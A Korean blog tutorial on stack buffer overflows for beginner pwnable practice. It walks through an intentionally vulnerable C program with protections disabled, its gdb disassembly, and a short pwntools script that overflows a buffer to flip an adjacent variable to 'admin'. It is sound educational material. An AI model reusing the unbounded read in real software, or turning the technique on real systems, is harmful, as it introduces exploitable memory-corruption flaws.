스택 버퍼오버플로우에 대하여

김성진·2022년 7월 21일
0

스택 버퍼오버플로우, 포너블을 하는 사람들이면 가장 basic한 내용임을 안다.


📒 BufferOverflow?

먼저 버퍼 오버플로우가 뭘까?
말 그대로 데이터를 저장할 때 "초과"해서 저장하는 것이다. 그러면 프로그래머가 의도한 범위 넘어서 까지 데이터를 저장할 수 있으며, 이는 프로그램 실행 조작 등으로 이어질 수 있다.

버퍼 오버플로우는 이하 BOF라 하겠다.


📒 Stack BOF ?

스택 버퍼오버플로우는 뭘까? 말 그대로 스택 구간에서 BOF가 발생하는 것이다. 이는 매우 취약해질 수 있는데, 대표적으로 스택 내의 함수 RET를 덮을 수 있다. 이 RET가 조작된다면 함수의 복귀 주소가 조작되며, 해커가 원하는 것이 실행될 수 있기 때문이다.

stack bof를 이용한 기법에는 여러가지가 있다.

  • Return to Shellcode
  • Return to Libc
  • ROP (Return Oriented Programming), Rtl Chainning
  • 등등

관련된 내용들은 앞으로 차차 알아가보도록 하자 ~


📒 값 변조

BOF를 통해서 가장 간단하게 확인할 수 있는 것은, 바로 변수들의 값을 변조하는 것이다.
이것이 어떻게 가능한 지 테스트를 통해 확인해보자.

📖 test.c

//gcc -m32 -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -no-pie -fno-pic -o test test.c
#include <stdio.h>

int main(void){
	int SECRET = 0;
	char message[20];
	read(0, message, 100);
	if(SECRET == 1){
		printf("Hello, admin !\n");
		printf("Secret message is BlaBlaBla~\n");
	}
	else{
		printf("Hello, guest. Bye !\n");
	}
	return 0;
}

편의를 위해 32비트로 컴파일 하였으며 관련된 보호기법은 모두 해제하였다.
위의 코드를 보면 message는 20바이트인데, read를 통해 100바이트를 받는 것이 확인된다.
이는 message의 범위를 넘어서 입력을 받게되므로 BOF 취약점이 발생하게 된다.
(scanf 함수를 사용하지 말라는 이유도 위와 같은 이유 때문이다.)

📖 debugging

gdb-peda$ disas main
Dump of assembler code for function main:
   0x080491b6 <+0>:	endbr32 
   0x080491ba <+4>:	push   ebp
   0x080491bb <+5>:	mov    ebp,esp
   0x080491bd <+7>:	sub    esp,0x18
   0x080491c0 <+10>:	mov    DWORD PTR [ebp-0x4],0x0
   0x080491c7 <+17>:	push   0x64
   0x080491c9 <+19>:	lea    eax,[ebp-0x18]
   0x080491cc <+22>:	push   eax
   0x080491cd <+23>:	push   0x0
   0x080491cf <+25>:	call   0x8049070 <read@plt>
   0x080491d4 <+30>:	add    esp,0xc
   0x080491d7 <+33>:	cmp    DWORD PTR [ebp-0x4],0x1
   0x080491db <+37>:	jne    0x80491f9 <main+67>
   0x080491dd <+39>:	push   0x804a008
   0x080491e2 <+44>:	call   0x8049080 <puts@plt>
   0x080491e7 <+49>:	add    esp,0x4
   0x080491ea <+52>:	push   0x804a017
   0x080491ef <+57>:	call   0x8049080 <puts@plt>
   0x080491f4 <+62>:	add    esp,0x4
   0x080491f7 <+65>:	jmp    0x8049206 <main+80>
   0x080491f9 <+67>:	push   0x804a034
   0x080491fe <+72>:	call   0x8049080 <puts@plt>
   0x08049203 <+77>:	add    esp,0x4
   0x08049206 <+80>:	mov    eax,0x0
   0x0804920b <+85>:	leave  
   0x0804920c <+86>:	ret    
End of assembler dump.

main 함수를 뜯어보고 스택 상태를 그려보자.

   0x080491c0 <+10>:	mov    DWORD PTR [ebp-0x4],0x0

이 부분에서 [EBP-0x4] 부분에 0을 집어넣었고, 그것이 변수 SECRET임을 알 수 있다.
4바이트 만큼 공간을 가지는 이유는, int의 크기는 4바이트이기 때문이다.

또한, message 배열 위치를 쉽게 분석하는 방법도 있는데, 바로 read함수의 인자를 확인하면 된다. read함수를 실행시키기 이전에

  0x080491c9 <+19>:	lea    eax,[ebp-0x18]

를 실행하는 것이 확인된다. 이후 push eax를 하므로 저 주소가 들어가지며 말했다시피 read의 인자이기에 message임을 알 수 있다. 0x18은 24이다. ebp에서 24바이트만큼 떨어져 있는 곳이 message의 시작이다.
스택은 이렇게 구성되겠다. 꼭 직접 생각을 해보도록 하자. 실제로 디버깅을 하다 보면 중간 중간 더미가 있는 경우도 있다. 직접 "A" 10 바이트를 입력해보고 디버깅해보자 여기서 중요하게 봐야 할 부분이 있는데, 먼저 아스키의 A는 0x41이므로 41이 10개 들어간 것이 확인된다. 문제는 마지막 41이 들어가 있는 부분을 본다면 0x000a4141인 것이 확인된다.
저기서 0x0a는 개행문자 '\n'의 아스키 코드이다.

또한 컴퓨터는 리틀 엔디언을 채택하기에 값을 저장할 때는 0x000a4141로 들어가진다.

리틀 엔디언을 쉽게 설명하자면 내가 0x12345678을 입력하면 컴퓨터에는 0x78563412로 저장이 된다.
https://mm0ck3r.blog/35?category=947236
이전 블로그에서 내가 정리한 적이 있는 내용이다. 이 블로그에 한 번 더 정리를 하게 된다면 그 링크를 추가하겠다. 이해가 안된다면 구글링을 좀 더 하도록 하자.

본론으로 돌아와 A 10바이트가 제대로 저장된 것이 보인다. 만약 24바이트를 입력한다면 어떻게 될까? 실제로 $ebp-0x4의 값을 정수로 출력하니 이상한 값이 나온다.

📖 how to hack?

그렇다면 어떻게 해야 SECRET 값을 1로 바꿀 수 있을까?

키보드를 이용한 입력을 하게되면, 무조건 마지막에 \x0a가 붙게 된다. 이는 제대로된 분석을 방해하거나, 원하지 않는 흐름으로 이어질 수도 있으니 pwntools를 이용하도록 하겠다. https://dokhakdubini.tistory.com/236 관련된 내용은 해당 링크에서 자세하게 설명을 해주셨으므로 확인하면 되겠다.

📖 exploit.py

from pwn import *

p = process('./test')

payload = "A" * 20 + p32(1)
p.send(payload)

p.interactive()

payload를 만들 때 p32를 쓴 이유는, 정수 1을 컴퓨터에서 이해할 수 있는 바이트를 리틀엔디언으로 만들기 때문이다. 본 코드는 python2를 기준으로 만들어졌으며, python3라면 A 앞에 byte를 의미하는 b를 붙여야 한다.

b"A"

요렇게.
이런 방법으로 출력된 내용을 보면, 나를 admin으로 인식한 것이 확인된다. 실제 포너블 문제라면 system("cat flag") 같은 코드가 실행됐을 것이다.


📒 End

이렇게 간단한 스택 BOF에 대하여 테스트를 해볼 수 있었다. 현재는 인접한 변수만 건드려 보았지만, 이를 이용한 SFO나 RET를 조작하는 등 매우 위험한 기법들이 많이 존재한다. 관련해서 차차 알아가보도록 하자.

profile
Today I Learned

0개의 댓글